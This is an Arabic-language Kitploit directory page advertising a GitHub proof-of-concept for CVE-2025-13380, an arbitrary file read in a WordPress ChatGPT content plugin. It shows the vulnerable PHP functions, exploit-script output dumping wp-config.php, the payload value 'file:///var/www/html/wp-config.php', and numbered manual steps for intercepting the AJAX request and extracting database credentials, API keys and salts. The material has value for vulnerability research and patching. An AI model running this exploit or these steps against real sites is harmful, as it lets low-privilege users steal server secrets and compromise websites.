Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-13380 — محرك الذكاء الاصطناعي لووردبريس: ChatGPT, GPT Content Generator <= 1.0.1 - قراءة ملفات عشوائية لمستخدمين مصادق عليهم (مساهم فما فوق) | Kitploit
أدوات/GitHubGitHub/d0n601/cve-2025-13380
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبجمع المعلوماتأمن الويباختبار الاختراق
GitHubd0n601/cve-2025-13380

CVE-2025-13380

محرك الذكاء الاصطناعي لووردبريس: ChatGPT, GPT Content Generator <= 1.0.1 - قراءة ملفات عشوائية لمستخدمين مصادق عليهم (مساهم فما فوق)

عرض المستودع
منذ 9 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

AI Engine for WordPress: ChatGPT, GPT Content Generator <= 1.0.1 - قراءة ملفات عشوائية للمستخدمين الموثَّقين (مساهم فما فوق)

يحتوي إضافة AI Engine for WordPress على ثغرة في ميزة إدراج الصور تسمح لأي مستخدم موثَّق لديه صلاحيات تحرير المنشورات (مساهم، مؤلف، محرر، مدير) بتنزيل ملفات عشوائية من الخادم. تنشأ الثغرة من عدم وجود فحوصات صلاحية مناسبة في نقطة النهاية AJAX lqdai_update_post ودالة insert_image() التي تستخدم file_get_contents() مع عناوين URL يتحكم بها المستخدم دون التحقق من البروتوكول، مما يسمح بتنزيل ملفات عشوائية عبر بروتوكول file://.

TL;DR الاستغلالات

  • يتم تقديم POC CVE-2025-13380.py لإظهار مستخدم بمستوى مساهم يقوم بتنزيل ملف wp-config.php للموقع.
root@kitploit:~
 python3 ./exploit.py http://techcorp.cc contributor password   
[+] Target: http://techcorp.cc
[+] Username: contributor
[+] Nonce obtained: 5dc61a0166
[+] Post created with ID: 148
[+] File written to uploads directory
[+] Attempting to retrieve file from: http://techcorp.cc/wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
[+] File retrieved successfully!
[+] wp-config.php contents:
<?php
/**
 * The base configuration for WordPress
 *
 * The wp-config.php creation script uses this file during the installation.
 * You don't have to use the website, you can copy this file to "wp-config.php"
 * and fill in the values.
 *
 * This file contains the following configurations:
 *
 * * Database settings
 * * Secret keys
...
...
...

التفاصيل

دالة إدراج الملف

يستدعي إجراء AJAX lqdai_update_post دالة update_post() في السطر 315 من ملف /wp-content/plugins/liquid-chatgpt/liquid-chatgpt.php، الذي يفتقر إلى فحوصات صلاحية مناسبة ويسمح لأي مستخدم موثَّق بتعديل المنشورات التي يمكنه تحريرها:

root@kitploit:~
function update_post() {
    if ( empty( $posts = $_POST['posts'] ) ) {
        wp_send_json( [
            'error' => true,
            'message' => __( 'Data is null!', 'lqdai' ),
        ] );
    }

    $args = [
        'ID'            => $posts['post_id'],
        'post_title'    => $posts['title'],
        'post_content'  => $posts['content'],
        'post_status'   => 'draft',
    ];

    $update_post = wp_update_post( $args );
    
    if ( is_wp_error( $update_post ) ) {
        wp_send_json( [
            'error' => true,
            'message' => $update_post->get_error_messages()
        ] );
    } else {
        wp_set_post_tags( $posts['post_id'], $posts['tags'], false );

        if ( !empty( $posts['image'] ) ) {
            $this->insert_image( $posts['post_id'], $posts['image'] );  // <-- ثغرة تنزيل ملفات عشوائية
        }
    }
}

تنزيل ملفات عشوائية في insert_image()

تستخدم دالة insert_image() في السطر 419 الدالة file_get_contents() مع عناوين URL يتحكم بها المستخدم دون التحقق من البروتوكول، مما يسمح بتنزيل ملفات عشوائية:

root@kitploit:~
function insert_image( $post_id, $image_url ) {
    // Get the path to the uploads directory
    $upload_dir = wp_upload_dir();
    $image_data = file_get_contents($image_url);

    $filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
    
    // Save the image to the uploads directory
    if ( wp_mkdir_p($upload_dir['path']) ) {
        $file = $upload_dir['path'] . '/' . $filename;
    } else {
        $file = $upload_dir['basedir'] . '/' . $filename;
    }
    
    file_put_contents($file, $image_data);  // <-- يكتب 
    
    // Get the attachment ID for the image
    $wp_filetype = wp_check_filetype($filename, null );
    $attachment = array(
        'post_mime_type' => $wp_filetype['type'],
        'post_title' => sanitize_file_name(str_replace('.jpg','', $filename)),
        'post_content' => '',
        'post_status' => 'inherit'
    );
    $attachment_id = wp_insert_attachment( $attachment, $file, $post_id );
    require_once(ABSPATH . 'wp-admin/includes/image.php');
    $attachment_data = wp_generate_attachment_metadata( $attachment_id, $file );
    wp_update_attachment_metadata( $attachment_id, $attachment_data );
    
    // Set the attachment ID as the featured image for the post
    set_post_thumbnail($post_id, $attachment_id);
}

بناء المسار وتسمية الملف

يسمح بناء المسار الضعيف بقراءة الملفات المحلية عبر بروتوكول file://:

root@kitploit:~
// يوفر المستخدم: 'file:///var/www/html/wp-config.php'
$image_url = 'file:///var/www/html/wp-config.php';

// تقرأ file_get_contents() الملف (تعمل افتراضيًا في PHP)
$image_data = file_get_contents($image_url);  // يقرأ /var/www/html/wp-config.php

// يتم إنشاء اسم الملف من المسار
$filename = sanitize_file_name(parse_url($image_url)['path']) . '.jpg';
// تقوم parse_url() بإرجاع '/var/www/html/wp-config.php'
// تقوم sanitize_file_name() بإزالة الشرطات: 'varwwwhtmlwp-config.php'
// تلحق '.jpg': 'varwwwhtmlwp-config.php.jpg'

// يتم كتابة الملف في دليل الرفع
$file = $upload_dir['path'] . '/' . $filename;
// النتيجة: /wp-content/uploads/2025/11/varwwwhtmlwp-config.php.jpg
file_put_contents($file, $image_data);  // يكتب محتوى wp-config.php

إعادة الإنتاج يدويًا

  1. سجّل الدخول إلى ووردبريس كمساهم (أو أي مستخدم لديه صلاحيات تحرير المنشورات).
  2. أنشئ مسودة منشور جديدة للحصول على معرف المنشور.
  3. استخدم أدوات مطوري المتصفح أو أداة مثل Burp Suite لاعتراض حركة المرور.
  4. اعترض طلبًا إلى /wp-admin/admin-ajax.php يستدعي إجراء lqdai_update_post.
  5. عدّل الطلب ليتضمن عنوان URL ببروتوكول file:// في البارامتر posts[image].
  6. أرسل الطلب مع posts[image]=file:///var/www/html/wp-config.php لقراءة ملف تكوين ووردبريس.
  7. الوصول إلى الملف عبر رابط دليل الرفع: /wp-content/uploads/YYYY/MM/varwwwhtmlwp-config.php.jpg.
  8. استخرج ملفات التهيئة الحساسة بما في ذلك بيانات اعتماد قاعدة البيانات ومفاتيح API وأملاح الأمان.
تنزيل الأداة